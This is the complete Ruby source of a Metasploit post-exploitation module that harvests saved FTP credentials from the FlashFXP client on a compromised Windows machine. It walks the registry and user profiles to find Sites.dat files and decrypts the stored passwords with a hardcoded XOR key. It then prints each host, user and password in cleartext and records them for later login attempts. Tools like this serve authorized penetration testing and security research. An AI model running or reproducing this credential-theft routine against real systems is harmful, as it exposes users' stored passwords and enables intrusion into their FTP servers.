Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::Windows::Registry
8
  include Msf::Auxiliary::Report
9
  include Msf::Post::Windows::UserProfiles
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Windows Gather FlashFXP Saved Password Extraction',
16
        'Description' => %q{
17
          This module extracts weakly encrypted saved FTP Passwords from FlashFXP. It
18
          finds saved FTP connections in the Sites.dat file.
19
        },
20
        'License' => MSF_LICENSE,
21
        'Author' => [ 'theLightCosine'],
22
        'Platform' => [ 'win' ],
23
        'SessionTypes' => [ 'meterpreter' ],
24
        'Compat' => {
25
          'Meterpreter' => {
26
            'Commands' => %w[
27
              core_channel_eof
28
              core_channel_open
29
              core_channel_read
30
              core_channel_write
31
            ]
32
          }
33
        }
34
      )
35
    )
36
  end
37

38
  def run
39
    # Checks if the Site data is stored in a generic location  for all users
40
    flash_reg = 'HKLM\\SOFTWARE\\FlashFXP'
41
    flash_reg_ver = registry_enumkeys(flash_reg.to_s)
42

43
    # Ini paths
44
    @fxppaths = []
45

46
    unless flash_reg_ver.nil?
47
      software_key = "#{flash_reg}\\#{flash_reg_ver.join}"
48
      generic_path = registry_getvaldata(software_key, 'InstallerDataPath') || ''
49
      unless generic_path.include? '%APPDATA%'
50
        @fxppaths << generic_path + '\\Sites.dat'
51
      end
52
    end
53

54
    grab_user_profiles.each do |user|
55
      next if user['AppData'].nil?
56

57
      tmpath = user['AppData'] + '\\FlashFXP\\'
58
      get_ver_dirs(tmpath)
59
    end
60

61
    @fxppaths.each do |fxp|
62
      get_ini(fxp)
63
    end
64
  end
65

66
  def get_ver_dirs(path)
67
    session.fs.dir.foreach(path) do |sub|
68
      next if sub =~ /^(\.|\.\.)$/
69

70
      @fxppaths << "#{path}#{sub}\\Sites.dat"
71
    end
72
  rescue StandardError
73
    print_error("The following path could not be accessed or does not exist: #{path}")
74
  end
75

76
  def get_ini(filename)
77
    config = client.fs.file.new(filename, 'r')
78
    parse = config.read
79
    ini = Rex::Parser::Ini.from_s(parse)
80

81
    if ini == {}
82
      print_error("Unable to parse file, may be encrypted using external password: #{filename}")
83
    end
84

85
    ini.each_key do |group|
86
      host = ini[group]['IP']
87
      username = ini[group]['user']
88
      epass = ini[group]['pass']
89
      port = ini[group]['port']
90
      next if epass.nil? || (epass == '')
91

92
      passwd = decrypt(epass)
93

94
      print_good("*** Host: #{host} Port: #{port} User: #{username}  Password: #{passwd} ***")
95
      service_data = {
96
        address: Rex::Socket.getaddress(host),
97
        port: port,
98
        protocol: 'tcp',
99
        service_name: 'ftp',
100
        workspace_id: myworkspace_id
101
      }
102

103
      credential_data = {
104
        origin_type: :session,
105
        session_id: session_db_id,
106
        post_reference_name: refname,
107
        username: username,
108
        private_data: passwd,
109
        private_type: :password
110
      }
111

112
      credential_core = create_credential(credential_data.merge(service_data))
113

114
      login_data = {
115
        core: credential_core,
116
        access_level: 'User',
117
        status: Metasploit::Model::Login::Status::UNTRIED
118
      }
119

120
      create_credential_login(login_data.merge(service_data))
121
    end
122
  rescue StandardError
123
    print_status("Either could not find or could not open file #{filename}")
124
  end
125

126
  def decrypt(pwd)
127
    key = 'yA36zA48dEhfrvghGRg57h5UlDv3'
128
    pass = ''
129
    cipher = [pwd].pack('H*')
130

131
    (0..cipher.length - 2).each do |index|
132
      xored = cipher[index + 1, 1].unpack('C').first ^ key[index, 1].unpack('C').first
133
      if ((xored - cipher[index, 1].unpack('C').first < 0))
134
        xored += 255
135
      end
136
      pass << (xored - cipher[index, 1].unpack('C').first).chr
137
    end
138
    return pass
139
  end
140
end
141

142